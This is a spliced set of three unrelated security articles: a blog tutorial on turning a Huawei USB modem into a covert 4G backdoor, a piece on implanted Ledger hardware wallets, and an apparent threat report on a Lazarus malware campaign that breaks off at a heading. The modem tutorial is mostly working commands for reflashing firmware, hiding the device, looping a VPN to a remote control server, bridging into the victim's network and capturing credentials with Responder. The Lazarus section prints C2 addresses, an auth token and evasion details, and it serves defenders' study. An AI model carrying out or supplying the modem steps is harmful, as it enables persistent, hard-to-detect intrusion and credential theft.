Welcome back, aspiring cyberwarriors!

Previously, we had a few articles showing what crafty hackers can do to attack your system with a USB drive. Today we’ll cover yet another approach they might take, turning a USB modem into a persistence mechanism. As always, we’ll discuss practical ways to protect yourself from it.

When hackers have physical access to a potential victim’s computer, they aren’t limited to one-time actions. With just a few minutes, they can establish a persistent communication channel that continues to function long after they’ve walked away. This can be achieved using a regular USB modem that’s been slightly modified in advance.

Modern 4G USB modems, especially those based on the HiLink architecture, are more powerful than they appear. Although they look like slightly oversized flash drives, they’re small computers running a full operating system. Many of these devices run embedded Linux environments, sometimes alongside other systems such as VxWorks for handling GSM communication. These modems are autonomous. They’re powered directly through USB, they boot within seconds, and they present themselves to the host computer as a network interface.

A popular example is the Huawei E3372h-153. It has strong community support, accepts modified firmware, and includes everything needed to build an independent communication channel. When you connect this thing, it behaves like a virtual Ethernet adapter. To the OS it looks like just another network card. But inside that modem you have a full system capable of running scripts, managing connections, and interacting with the host machine. The computer believes it’s simply using a network interface, while the modem itself can communicate with external infrastructure over the mobile network. Unlike traditional implants, this one doesn’t depend on the victim’s internal network at all.

There are commercially available tools designed for similar purposes (LAN Turtle), but they typically rely on existing network connectivity. They don’t have an independent 4G communication channel.

Implementation

From an engineering perspective, the device is already almost perfect. It draws power directly from USB and uses its own 4G connection, so it will communicate even in isolated environments. 

To unlock its potential, we will need to modify the firmware. After reflashing, the internal operating system will automatically establish a VPN connection to a remote control server using the mobile network.

The first step is gaining access to the modem’s internal system. You can do it using Telnet or ADB:

kali > telnet 192.168.8.1
kali > adb connect 192.168.8.1:5555

Then we need to enable debugging features to configure things:

modem > curl http://192.168.8.1/html/switchDebugMode.html
modem > minicom -D /dev/ttyUSB0

With debug mode enabled, the firmware can be replaced:

modem > at^godload # Enter firmware mode. The modem will reboot
modem > sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.
00_M_AT_05.10_nv.exe

After rebooting, the modem usually presents itself as multiple devices, including a virtual CD-ROM and storage. These features are unnecessary and may reveal the device’s presence, so they should be disabled:

modem > AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 # Disable CD-ROM mode on startup, enable RNDIS/CDC
AT^RESET # Reboot

Next comes a subtle but important adjustment. The DHCP configuration is modified so the modem does not present itself as a gateway. This helps avoid interfering with the host system’s routing behavior and keeps the device less noticeable:

modem > cat <<EE > /data/config
Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EE

The config file will look like this: 

To establish remote control, an OpenVPN client is installed directly on the modem. Precompiled binaries are here.

Here is how:

modem > adb push tun.ko /online/ovpn/
modem > adb push openvpn /online/ovpn/
modem > adb push vds.ovpn /online/ovpn/
modem > cat <<EE > /data/vpn.sh
#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn
--route-noexec; done
EE
modem > chmod 700 /data/vpn.sh

modem > busybox passwd

modem > reboot

The VPN runs in a continuous loop, so even if the connection drops, it won’t be a problem. Finally, autorun scripts and routing rules are configured so that traffic flows correctly between the 4G network and the target machine:

modem > mount -o remount,rw /dev/block/mtdblock16

modem > cat <<EE >> /system/etc/autorun.sh
/data/autorun.sh &
EE

modem > cat <<EE > /data/autorun.sh
#!/system/bin/busybox sh
killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE

modem > chmod 700 /data/autorun.sh

The autorun script should look like this:

At this point, the modem has become a self-contained communication bridge.

Persistence

When deployed, the hardware backdoor does not look impressive. That is its strength. It resembles a slightly larger USB flash drive.

Because the device uses a mobile network, it does not rely on the internal infrastructure of the organization. Even if the local network has no internet access, the modem maintains a stable connection to the outside world.

Hackers can connect to the same VPN server from another device, linking themselves to the compromised machine. The modem forwards traffic in a reverse direction being a gateway into the target system.

L2 Access

This method of persistence provides network access only to the machine the modem is connected to. To make attacking the target system easier, it may be necessary to establish an L2VPN tunnel that is closer to the target. This requires creating another VPN tunnel inside the existing one. If the first VPN is used solely for communication with the device lan_turtle, the second one provides the maximum possible network access to the computer through the USB-emulated network. 

To achieve this, we need to run a few commands inside the USB modem. These commands will create a VPN tunnel and place the newly created virtual interface into a network bridge together with the USB interface. Inside the modem run these commands:

modem > ./openvpn --config l2.ovpn --route-noexec
modem > brctl addif br0 tap1
modem > ifconfig tap1 0

Here is an example of the l2.ovpn file:

The L2VPN interface will have an IP address, which is not actually needed since OpenVPN is already running. It can be reset, after which the interface can simply be added to the bridge. As a result, L2 packets from the compromised machine will flow into the VPN interface. This means the hacker doesn’t just gain logical network access to the target PC, but they will see it as if they were directly plugged into it with a regular Ethernet cable.

On the hacker’s side, it is only necessary to connect to the modem and establish a VPN tunnel, then manually assign it an IP address from the subnet of the victim computer’s network adapter:

kali > sudo openvpn --config lan_turtle.ovpn --route-noexec
kali > sudo ifconfig tap0 192.168.8.200/24

The configuration file for connecting to lan_turtle to establish an L2VPN tunnel is lan_turtle.ovpn and it looks like this:

With this setup, the hacker gains direct access to the internal network. Responder can then be used to capture auth data:

kali > responder -I tap0 -d -w -F

Defense

Although the technique is technically sophisticated, you only need physical USB access. Because of that, defensive strategies are simple.

Organizations should treat USB ports as sensitive interfaces. Restricting unknown devices, disabling USB-based network adapters through system policies, and regularly inspecting machines can help you reduce risk. Just as importantly, physical access must be controlled. Even the most advanced software defenses cannot protect a system if someone is allowed to plug in their own hardware.

Summary

The Huawei E3372h-153 and similar devices can be used for persistence, using their own mobile data connection to maintain remote access independent of the victim’s network. Modified modems can automatically set up VPN tunnels and persistently reconnect, which creates a backdoor into the system even after they leave.

If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.

The post Social Engineering: Modem-Based Persistence in a Compromised Environment first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

October 2026 brought a clear demonstration that hardware wallets, while far safer than software alternatives, are not immune to sophisticated physical attacks. 

Beginning on 9 October, hundreds of users who had purchased Ledger devices through the Southeast Asian reseller CryptoBilis saw their funds drained across Bitcoin, Ethereum, TRON and other chains. On-chain researchers estimated losses between roughly $86 million and more than $100 million. Ledger confirmed that at least one affected device contained an unauthorized hardware implant and stated that every confirmed loss in the incident was linked to a device sold by CryptoBilis. The company has emphasized that its own infrastructure, firmware and direct sales channels were not compromised.

The Supply-Chain Attack

The attack was physical. Someone in the distribution chain opened genuine Ledger Nano X devices, installed a small circuit board and resealed them. The implant sits inside the enclosure under or behind the screen where foam padding normally rests, and taps the SPI bus that carries data from the Secure Element to the display. When the owner sets up the device and the screen shows the 24-word recovery phrase, the implant’s microcontroller recognizes those screens, reconstructs the words and sends them out over LTE using a provisioned eSIM and a small antenna. Because the original Secure Element remains untouched, the device continues to pass Ledger’s Genuine Check. Mark Karpelès and Tibane Labs have documented multiple generations of the implant, progressing from early versions with visible wires and a smaller battery to later flex-circuit designs that are harder to notice and sometimes keep the original battery.

Mark Karpelès publicly posted a photo of a unit that arrived from Malaysia with flawless packaging. The extra hardware only became visible when he opened the case.  

Similar implants have been reported in devices obtained through other channels, including Japanese marketplaces and at least one European store, although Ledger has so far tied every confirmed fund loss specifically to CryptoBilis purchases. 

The company has asked the reseller to halt sales and has advised recent buyers not to initialize unused devices. Those who already completed setup are told to move their assets to a new signer purchased directly from Ledger and initialized with a fresh seed phrase.

How to Buy a Hardware Wallet Safely

The single most effective protection is to purchase directly from the manufacturer’s own online store.

Authorized resellers are listed on the manufacturer’s website, yet CryptoBilis was also a partner that introduced modified units into the channel. Marketplace listings of third-party shops carry a much higher risk of both counterfeits and implants. 

Once the package arrives, you should confirm that a new device requires you to generate a recovery phrase yourself on first use. Any recovery phrase that’s already written on a card or printed in documentation belongs to someone else and should never be used. The phrase must appear only on the device’s own screen and you must write it down yourself on paper or metal. Never type it into a computer or phone, don’t use websites or applications with it. 

Below you can see a photo of the hardwallet owner signing a transaction inside the faraday cage to avoid any interference and possible theft.

Check Your Wallet   

The first question is the source of the device. Anyone who bought a Ledger from CryptoBilis or another untrusted reseller in recent months should treat the unit as unsafe.  Genuine Check is still worth running because it confirms that the Secure Element is original and the firmware is approved, yet it can’t detect added circuitry that merely listens to the screen. 

You can also visually inspect the case for extra wires or antennas that can reveal tampering, but modern implants are designed to be inconspicuous and reliable detection usually requires opening the device. After a wallet is set up, compare receiving addresses shown on the device screen against those displayed in the companion application and review transaction history on block explorers for unexpected outgoing transfers. The recovery phrase must be generated by the device under your direct observation and written down only by you.

Mark Karpelès also has a few videos on opening and closing Ledger wallets that you might find helpful.

What to Do If You Suspect Compromise

If a device was purchased from CryptoBilis or any other questionable source and has already been initialized, the existing recovery phrase should be treated as compromised. Move your assets to a new wallet whose seed was generated on a trusted device bought directly from the manufacturer. Never reuse the old seed for any purpose.

More Recommendations

A BIP-39 passphrase adds a meaningful layer of protection because it isn’t displayed during ordinary setup and must be known in addition to the seed. It’s also known as passphrase (the extra “25th word”). It’s optional and you may choose it later. It is not generated or displayed by the device during ordinary setup. Adding it creates a hidden wallet, which means you have completely different keys and addresses. 

For larger holdings use a multisignature arrangement to reduce reliance on any single device. Always check the address where you send your money to, as it can often be replaced by malware or bots making small transactions with similar addresses to mislead you into sending money to this similar address. 

Hardware wallets still provide strong protection against the majority of remote thefts precisely because private keys never leave the Secure Element and every transaction requires physical confirmation on the device itself. 

Summary

Hardware wallets can pass authenticity tests and still contain an implant capable of capturing the recovery phrase the moment it appears on screen. The best thing you can do is to buy devices only from the manufacturer, generate the seed yourself on the device and write it down offline. For anyone who recently purchased a device from a third party, the cost of generating a new seed and moving funds is far lower than the cost of discovering the compromise after the fact.

The post Cryptocurrency: Security Analysis of Hardware Crypto Wallets first appeared on Hackers Arise.

In January, we responded to the Lazarus Group’s novel attack campaign against South Korea, which followed last year’s Operation SyncHole. In this new operation, the group employed an updated malware chain that included both their old and new malware, which we disclosed in full, and used another mandatory South Korean security software program as a part of infection chain using a watering‑hole strategy. Notably, the group targeted victims more selectively, sending spear‑phishing emails with links to fabricated but relevant sites, such as portfolio and résumé pages tailored to each target. We dubbed this activity Operation FlashHole.

Operation FlashHole attack flow during initial compromise

Our examination reveals that the earliest evidence of this new operation dates back to July 2025. This suggests the group began preparing for the campaign shortly after ending Operation SyncHole, which lasted at least four months. We identified a minimum of three organizations impacted by the campaign in South Korea’s software, construction, and wired communication equipment manufacturing sectors. These sectors differ from those affected by Operation SyncHole, indicating that the group has expanded its target scope over time.

Background

After more than a year since the first observation of Operation SyncHole, we detected a suspicious execution chain originating from legitimate South Korean software. This chain mirrors the one from the previous operation; however, this time, the attacker abused CrossWeb EX instead of Cross EX, which was abused in Operation SyncHole. Both applications appear to be maintained by the same vendor, and both are related to financial security. CrossWeb EX is a financial security solution that is required to access widely used online banking and government websites. It encrypts communications between the user’s browser and the web server using public key infrastructure (PKI). This is not the first time Lazarus has abused this software. It was also used in 2021 to deploy the Racket downloader and again in 2022 and 2023. Although the exact method by which CrossWeb EX was abused remains unclear, we determined that the attack chain ultimately leads to the execution of the malware in memory.

We noted that the spawned process was running with a high integrity level. The parent process, INISAFECrossWebEXSvc.exe, originates from the installation bundle of INISAFE CrossWeb EX V3 version 3.4.1.2, released in 2023 after KrCERT’s public advisory.

As we already mentioned in our SyncHole blog post, this pattern closely mirrors the long‑standing strategy employed by the Lazarus Group to target South Korea. Since CrossWeb EX and similar software is mandatory for South Korean users and typically runs in the background to interact with the browser, it has been leveraged as a critical attack vector by the group. In 2025, a paper was presented at the USENIX Security Symposium that investigated vulnerabilities in South Korea’s mandatory security software and demonstrated how such software can unintentionally create a massive attack surface.

In July 2026, the South Korean government and several local security vendors also published a joint security advisory covering typical Lazarus attack techniques, including exploitation of financial security software. While this advisory overlaps with our findings from Operation FlashHole and Operation SyncHole, and AhnLab’s detailed analysis report Operation Double Barrel covers a wide range of recent Lazarus Group activities, we are conducting a more granular classification based on their TTPs. We will discuss this further in the attribution section.

Initial infection vector

Although we could not precisely determine what triggered the infection chain, our analysis uncovered a suspicious website hosted on GitHub Pages that is associated with the GitHub account used as the C2 channel. The GitHub account was created last September, and the initial version of the site was designed to showcase the résumé of a senior network appliance developer. In January, however, this site was replaced with another featuring an interior design showcase. The first site was likely accessed by an employee of a wired communication manufacturing company, while the second site likely affected a target in the construction sector.

Appearance of the malicious websites

The first site with the résumé had a photograph supposedly of a job seeker, but the lack of EXIF metadata and the unnatural texture of the image indicate that it was generated by AI. This suggests the Lazarus Group has incorporated AI into its long‑standing strategy, like other Korean‑speaking threat actors (1, 2). The group most likely also used AI to create the lure site: the job seeker’s name resembles the Korean version of “John Doe,” and the portfolio was populated with seemingly meaningless details and random companies. The generated site was then manually tailored to specific targets.

Suspected use of an AI-generated image on the résumé site

The websites contained embedded links that loaded an external JavaScript file via a script tag.

• Malicious link embedded in the résumé site: hxxps://javadevhouse.co[.]kr/ajax/libs/jquery/1.7.3/jquery.min.js
• Malicious link embedded in interior design site: hxxps://pythonapischool[.]com/api/detach

Based on the analysis, we assess with medium-to-high confidence that the targets received phishing emails containing links to the malicious site hosted on GitHub Pages (using the domain <username>.github.io). The research results showed a high possibility that visiting the malicious site initiated an infection process involving CrossWeb EX software. This assessment aligns with Lazarus’s recent approach, as detailed in the joint advisory published by the South Korean government and security companies.

Full infection chain

Following the initial compromise, the legitimate Windows binary fsquirt.exe was executed under the CrossWeb EX process and injected with shellcode containing a malicious DLL – TechHub malware. From our extensive and thorough examination, we identified several malicious payloads and reconstructed the complete infection chain. The infection chain is rather complex and reveals the Lazarus Group’s advanced operational techniques on targeted hosts. These techniques conceal their malicious payloads, intent and their sophisticated malware delivery framework. The latter was updated extensively compared to the previous campaign, despite the new operation starting less than a year later. Significantly, the execution chain below exists only in memory during the initial infiltration, highlighting the attackers’ considerable efforts to hide the initial compromise.

Initial infection chain

Following the initial compromise, the group sought to maintain persistence on the network by installing a pair of malware strains – TouchHub and TouchShift – leveraging DLL side‑loading under the name mscoree.dll. TouchHub was deployed by the first instance of TechHub. It then used DLL side-loading to launch TouchShift, which led to the in‑memory execution of another TechHub instance. After launching the second time, TechHub deployed another pair, ClientHub and LPEClient, rather than executing Cubridge directly. Only minimal traces of these files were found on disk; the remainder of the malicious code persisted exclusively in memory.

Expanded infection chain after gaining persistence

Since Cubridge remains only in memory at the initial compromise stage, we suspect the group designed this indirect, multistage chain to deliberately redeploy Cubridge after gaining persistence, as it serves as the most sophisticated orchestrator of the attack.

Malware set

The full chain comprises advanced variants of the known Lazarus malware strains, including TechHub, Cubridge, TouchShift, LPEClient, and the newly identified TouchHub and ClientHub.

TechHub – the start of the chain

TechHub, a downloader that plays a central role in this attack, communicates with GitHub using a Personal Access Token (PAT). It serves as the initial payload, providing the top of the chain with sufficient functionality to profile compromised hosts and facilitate subsequent payloads.

This variant is a more advanced version of the malware named CLOUDBURST by Mandiant and NickelLoader by ESET. According to their reports, the earlier version communicated with a C2 server via HTTP(S) to fetch additional payloads. The latest iteration we found, however, communicates with GitHub instead and has updated command strings.

We identified three variants of TechHub in the chain: an in‑memory version, a simple DLL side‑loading version, and a DLL side‑loading version that uses a registered Windows service. Depending on which stage loads the malware, it contacts a private GitHub repository via the GitHub API using either hard‑coded credentials or credentials retrieved from its configuration file.

When TechHub loads, it creates a 4‑byte hexadecimal identifier (ID) in the range 0x1000–0xFFFF or reads one from the configuration file, enabling the attackers to distinguish between compromised hosts. TechHub then checks a GitHub issue by sending the request GET /issues?state=[open/closed] to determine whether any previous communication remains active and removes any traces of it if found. It then proceeds with the handshaking process.

1. It creates a new issue titled 1[ID] with the body “hel” using the POST /issues request, and sets its status to open.
2. It then retrieves a file from the repository containing the 2[ID] value in its name. This file contains the RSA public key.
3. It generates a random 16‑byte XOR key, encrypts it with the provided RSA public key, and uploads the result, prefixed with 1[ID], to the repository.
4. The hard‑coded IV is XORed with the generated 16‑byte key and then used after the handshake.

During file exchange, filenames follow the pattern [1|2][ID][random-16-byte-key] throughout communication. The “2” prefix indicates delivery from the repository to TechHub, while “1” indicates delivery from TechHub to the repository. The random 16‑byte key in the filename is used for AES encryption or decryption of each file’s contents, employing either a hard‑coded IV or an updated IV.

After the key exchange is complete, TechHub reads a file with the prefix “2” once again and verifies that the delivered data equals “hel”. If the check passes, TechHub gathers extensive information from the infected host. This data is then encrypted and sent to the repository. After transmitting the device information, the process concludes by updating the body of the previously created issue from “hel” to “hey” using PATCH /issues/[issue number]. The malware is now fully prepared to receive commands from the repository.

TechHub supports four commands. The laeca command deploys a payload packaged in shellcode that reflectively loads the embedded payload directly into memory.

Cubridge – the framework orchestrator

Cubridge, deployed via TechHub on the compromised host, is capable of retrieving various payloads through multiple methods. It serves as the central orchestrator of the entire malware framework, supporting a range of plugins, modules, and tools. An earlier version of Cubridge was also disclosed in the reports covering the previous version of TechHub. In those reports, Mandiant identified it as SIDESHOW, and ESET identified one of its modules as LightlessCan.

To establish communication with the C2 server, Cubridge randomly selects one of the predefined C2 servers and constructs a dedicated C2 URL for every request, using the pattern [C2_URL]/[page1]/[page2]/[page3]. This is achieved by concatenating terms from predefined word lists. Our analysis identified a single hardcoded C2 server – hxxps://cubedesign[.]co[.]kr/news/AABBCC – associated with the examined instance that is configured to version 5.1. During URL generation, AABBCC is substituted with a null value. The page3 segment is assigned a randomly generated integer between 10000000 and 99999999. Consequently, each generated URL is designed to appear authentic and remain unique for each request.

The predefined list for page1 is shown below. TechHub randomly selects one item from the list.

economy, opinion, politics, national, international, medical, investment, sports, lifestyle, shopping, culture

The predefined word list for page2 is shown below.

article, list, story

This means the hardcoded URL can later be transformed, for example, into hxxps://cubedesign[.]co[.]kr/news/economy/article/12345678 by following the steps described above.

Authentication using the POST request with the C2 server requires three parameters in the form of key‑value pairs. Each key is randomly generated using a different predefined word dictionary, and the associated values consist of a randomly generated 8‑byte hexadecimal bot ID, a fixed authentication token (KW4Ofw982CNJjxd51AVqkGAop), and a randomly generated 16‑byte hexadecimal session ID.

Cubridge employs a more robust handshaking process than TechHub, combining the RSA and RC6 algorithms. Unlike TechHub, it skips the profiling step and proceeds directly to command and control after the handshake. During communication, the malware mimics browser requests, using X‑CSRF‑Token and X‑Requested‑With headers for authentication and the Upgrade‑Insecure‑Requests header to request additional data.

Cubridge’s communication sequence

Cubridge contains extensive functionality, with a particular focus on loading subsequent‑stage payloads. The commands employ various techniques, such as DLL injection, reflective loading, and section‑mapping injection. The payloads may be delivered in various forms:

• Plugins – reusable extensions that add functionality as needed and can be invoked at any time (in shellcode and DLL form);
• Tools (in DLL form) – independent utilities that perform one-off tasks;
• Modules – components that are loaded once and remain active providing an extended set of functionalities.

It is anticipated that the commands for plugins and shellcode will load identical types of plugins because both support a similarly formed exported function for subsequent activity. The shellcode can be generated using the open‑source sRDI tool to package a DLL‑style plugin. The capabilities of a single DLL are likely utilized to load a tool that works independently because when a single DLL is loaded, only its DllMain entry point and its parameters are accessible; no other exported functions are exposed.

Commands 21 and 22 each load a different module. As their internal names imply, the action module manages basic file and process operations, while the function module implements Windows’ default commands. The action module covers commands 23–41, and the function module handles commands 42–79.

The action module handles system operation commands, file system interactions, and process behavior. It is invoked by passing the appropriate command and parameters to its AppinfoView export function. The module supports 19 commands, numbered 23 through 41. Execution results are first sent to Cubridge, which then forwards them to the C2 server.

The function module implements commands that emulate Windows’ built-in commands. Similar to the action module, its DllMain routine initializes all supported command functions, which are later accessed through the PresentationFontConfig export. Altogether, the module offers 38 commands, numbered from 42 to 79. While we believe this module is based on the previous LightlessCan, this is the first time we’ve seen it in the form of a separate module.

Besides the modules, we also observed that the actor deployed various plugins and tools.

TouchHub installs a service for TouchShift

During our analysis, we obtained a previously unknown malware sample from TechHub’s private GitHub repository, which served as a parent installer for TouchShift. We dubbed this malware TouchHub. Upon execution, it copies the legitimate printfilterpipelinesvc.exe to C:\Windows\System32\RasConv\ImeBroker.exe, registers it as a service, and places an embedded TouchShift payload named mscoree.dll in the same directory. Following creation, the malware synchronizes the MAC timestamps of C:\Windows\System32\drivers\monitor.sys with those of the newly written file, hindering forensic analysis.

It then goes through the service registration process by collecting up to 100 legitimate service names that are registered under the netsvcs svchost group in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost. It randomly selects one of these names, appends two random alphabetic characters to form a new service name, and uses this name to create a service that runs the hard‑coded command line C:\Windows\System32\RasConv\ImeBroker.exe -TimeBroker with the description Microsoft Service. The newly created service is started immediately.
Overall, TouchHub creates three files in the designated directory to launch TouchShift with SYSTEM privileges.

TouchShift, a prevalent loader employed across multiple infection chains

The version of TouchShift dropped by TouchHub is almost identical to the version described in Mandiant’s blog post, even sharing the same malicious export function, LockClrVersion. It takes the argument supplied by TouchHub and XORs it with a hard‑coded key. The resulting value is XORed once more with the executable’s filename, and this result is used as the AES key. All strings involved in this process (the argument, the XOR key, the filename) must be exactly 16 bytes long. If a string is shorter, it is padded with NULL bytes (\x00); if it is longer, it is truncated to 16 characters. For example, one of the string combinations in the obtained sample was:

• Argument: -TimeBroker\x00\x00\x00\x00\x00 (padded with NULL)
• Hard-coded XOR key: x809G736iC3f8Wp8
• Executable filename: ImeBroker.exe\x00\x00\x00 (padded with NULL)

After deriving the key, the malware decrypts the embedded payload using AES‑CBC‑128 without padding. The decrypted data is shellcode that starts with a call instruction. It wraps the next‑stage payload – identified as the third version of TechHub (DLL side-loading with a registered service) – that reads the ActivationStore.dat file as an external configuration.

ClientHub

We also identified a new piece of malware stored in TechHub’s private repository, which we named ClientHub. It supports various commands formed using a bitmask. There are at least two versions of ClientHub: one that communicates with websites via HTTP(S) and one that interacts with the Dropbox API using credentials.

Depending on the version, its configuration is sourced from internal resources or the external configuration file C:\Program Files\Common Files\System\msadc\msadc.inc. The configuration comprises keys and IVs for the SNOW 1.0 algorithm, scheduled execution times, and C2 server addresses encrypted with the SNOW stream cipher. The SNOW cipher is a family of high‑speed stream ciphers used for secure data encryption in telecommunications and wireless networks. This is the first time it has been observed in the malware of the Lazarus Group.

To establish C2 communication, the malware initially generates a 32‑byte random array. It subsequently overwrites portions of this array with data collected from the compromised device. The resulting 32‑byte array comprises a blend of random bytes and relevant information. This array is later used as the key for the SNOW algorithm to decrypt data received from the C2 server. Finally, the key array is encrypted with a hard‑coded RSA public key and encoded in Base64.

The ciphertext is delivered to the C2 server via GET requests. Each request contains headers that are atypical for malware: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Mobile, Sec-Fetch-Mode, and Sec-Fetch-Dest. These headers are normally used by legitimate Chromium‑based browsers and enable malware to imitate legitimate traffic and evade detection. The C2 server replies with commands in a custom header and message body.

struct header
{
  int has_more_data // whether more body data remains 
  int body_checksum;// ROR13 checksum for the body data
  int body_type;    // specifies the body type
  int unknown;
  int body_length;  // Length of the body data
  int IV[2];        // Random IV used to encrypt the body data
};

The body_type field in the header determines how the subsequent payload is processed. This value functions as a bitmask, with each bit representing a distinct flag (e.g., 0x1, 0x2, 0x4, etc.). The resulting behavior also depends on whether the least‑significant bit (bit 0) is set: when the value is odd, the malware interprets the incoming message body as an additional payload that is subsequently loaded into memory. Conversely, when the value is even, the malware invokes the previously loaded payload.

The odd value supports four distinct loading methods based on the received message body and ensures that each method executes only once.

The even value provides two distinct invocation methods for DLLs and plugins that have already been loaded and are associated with the odd‑value bitmask. The 2 (0x10) flag allows the payload previously loaded with the 1, 3, or 5 bitmask to be reused and invoked directly. The value 16 (0x10000) corresponds to the 17 (0x10001) flag in loading mode and uses the established interactive shared buffer to exchange data. All values are guaranteed to act independently.

Taking into account the loading mechanism, we identified four plugins deployed to the target that work perfectly with ClientHub.

In addition to the plugins, ClientHub supports the loading of LPEClient malware and communication with it. We found that ClientHub’s body_type values 16 and 17 correspond to LPEClient’s C2 communication mechanism.

LPEClient

LPEClient is the only malware that was also observed in Operation SyncHole, indicating that the actor relies heavily on it for sophisticated victim profiling and payload delivery across multiple operations. LPEClient first appeared in 2019, and was discovered in 2020. Since then, the tool has been widely observed in the Dream Job and Cascade Hole campaigns that targeted South Korea. Recent research conducted by Check Point revealed that LPEClient was used to deploy the FudModule malware using a zero-day.

LPEClient has evolved continuously over time, but we discovered that it recently underwent a major operational revamp. It no longer contains the C2 server address itself; instead, it interacts with ClientHub via a shared buffer. We believe this change is intended to enhance concealment.

Timeline of LPEClient

The previous version collected the computer name, memory status, CPU specifications, operating system details, version of the ntoskrnl.exe file, firmware table, antivirus name, domain name, user name, the integrity level of the current process, and a random byte sequence of 1,568 bytes. The newly updated LPEClient variant mostly collects the same information; however, it also introduces several changes.

• It does not collect the version of the ntoskrnl.exe file by querying the FileVersion value. Instead, depending on the specific build, it reads either the HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UBR registry key or the SYSTEM_BUILD_VERSION_INFORMATION structure to retrieve the revision portion of the Windows build number. These values can be used to infer the system’s cumulative update or patch level.
• To collect information about installed antivirus products, it switched from querying a WQL command to reading the WMI repository file directly. It now reads C:\Windows\System32\wbem\Repository\OBJECTS.DATA and searches for keywords such as AntiVirusProduct, companyName, and displayName to identify the installed products.
• It also collects low‑level Windows security mitigation states. To achieve this, it queries the SYSTEM_KERNEL_VA_SHADOW_INFORMATION structure for the Kernel VA Shadow mitigation status and the SYSTEM_SHADOW_STACK_INFORMATION structure for the Shadow Stack (CET) protection status.

Additionally, it generates a 32‑byte random unique identifier by using the HighwayHash algorithm and an XOR operation with the current system time. The collected information, including the generated identifier, is compressed with the XPRESS Huffman algorithm using the maximum compression setting. The compressed data is then concatenated with the message ID 0xF07D6B34 and encrypted using GOST (also known as Magma), Russia’s national cryptographic standard that employs a DES‑like structure, before being sent to the ClientHub via a shared buffer. Initially, KrCERT described the algorithm as a custom DES‑like scheme. However, further analysis by us and Check Point confirmed that it is actually the GOST algorithm. The key is randomly generated by a proprietary key‑generation algorithm and prepended to the encrypted message.

The next request handles the key exchange by delivering the message ID 0xA39CF278 together with the generated unique identifier. The response is decrypted using the AES‑CBC‑256 algorithm. The SHA‑256 hash of the previously generated 1,568‑byte random value, which was originally sent to the C2 server during the collection phase, serves as the key for this decryption.

Through this process, LPEClient obtains a byte array comprising four 1,568‑byte blocks from the C2 response. Each block contains an ML‑KEM‑1024 public key, where ML‑KEM is a NIST‑standardized post‑quantum key encapsulation mechanism derived from CRYSTALS‑Kyber. LPEClient then generates four distinct pairs of shared keys and ciphertexts from these blocks, encrypts the ciphertexts with the GOST algorithm, and transmits them to the C2 server via ClientHub together with the message identifier 0xEF8C0D51 and the associated identifier. Now that the preparation phase for receiving payloads is complete, the malware is ready to receive payloads forwarded by ClientHub from the C2 server, along with the necessary parameters. The use of post-quantum cryptography shows that the group intends to hide subsequent payloads.

The response to the 0xEF8C0D51 message is decrypted with the Threefish algorithm using a 128-byte key, composed of the four distinct shared keys. Threefish is a tweakable block cipher that accepts a ‘tweak’ value alongside the key and the message. The concept of a tweak is similar to that of a nonce or initialization vector, which are used in different types of ciphers. In LPEClient communication, the tweak for the decryption is derived by XORing the unique identifier with 165 (0xA5). The first four bytes of the decrypted message must specify the parameter’s length, followed by the parameter itself and then the payload. The payload must be larger than 4 KB and start with the characters 'MZ', which indicates that the decrypted payload is an executable file. The payload is then reflectively loaded into memory. After successful loading, LPEClient sends the message ID 0xCB790A25 to the C2 server.

Before loading the acquired payload, LPEClient takes measures to bypass security products. Instead of invoking VirtualProtect directly, the malware uses the identified HeapPageAllocator::ProtectPages in jscript9.dll to modify the memory page protection of the MD4Update function. The beginning of the function is then overwritten with a hard‑coded opcode sequence that serves as a syscall stub with the required arguments. LPEClient then uses the syscall stub to disable a user‑mode syscall instrumentation hook.

We identified the final payload that was ultimately loaded as Cubridge. The overall communication process is as follows.

Data relay flow between LPEClient and C2 via ClientHub

Comparison of plugins and modules

Throughout the engagement, we identified a variety of payloads deployed by TechHub, Cubridge, and ClientHub. These payloads have been categorized as tools, plugins, and modules that constitute the group’s modular malware framework. While we have not yet ascertained which payloads are deployed under specific conditions, the evidence suggests that the Lazarus Group’s toolkit is becoming increasingly sophisticated and segmented into specialized components rather than a single comprehensive backdoor. We also believe that TechHub and Cubridge may share similar tools.

These modularizations are not confined to the instances within this campaign. As previously noted, similar patterns have been identified in CookiePlus, MISTPEN, SIGNBT, and IMETHOD. Note that we have reclassified the ThreatNeedle variant used in Operation SyncHole as the latest version of IMETHOD, the predecessor of ThreatNeedle in use since at least 2016.

Infrastructure

Based on the information we obtained from the TechHub malware, we identified at least three primary repositories used as the C2 server and one fallback repository. The earliest evidence indicates that the group has been leveraging GitHub as a C2 server since at least July 2025. We suspect that all the accounts were created using hijacked email accounts, and disguised as normal repositories by copying or creating normal projects to avoid suspicion.

For the Cubridge and ClientHub C2 servers, the Lazarus Group employed only a minimal number of compromised yet legitimate South Korean media and interior design websites. Later, we observed that a broader range of compromised legitimate sites across various industries were also exploited. In addition, one ClientHub sample that we detected used Dropbox as a C2 channel.

Victims

We have identified at least three firms from the software, construction, and wired communication equipment industries in South Korea that were targeted by Operation FlashHole. As with the previous operation, however, we remain confident that a considerably larger number of organizations across a broader spectrum of industries have been affected.

The software sector was the only sector targeted in both the SyncHole and FlashHole campaigns. This suggests the actor is eager to compromise the sector, steal source code, and exploit vulnerabilities for further attacks.

Attribution and links to other campaigns

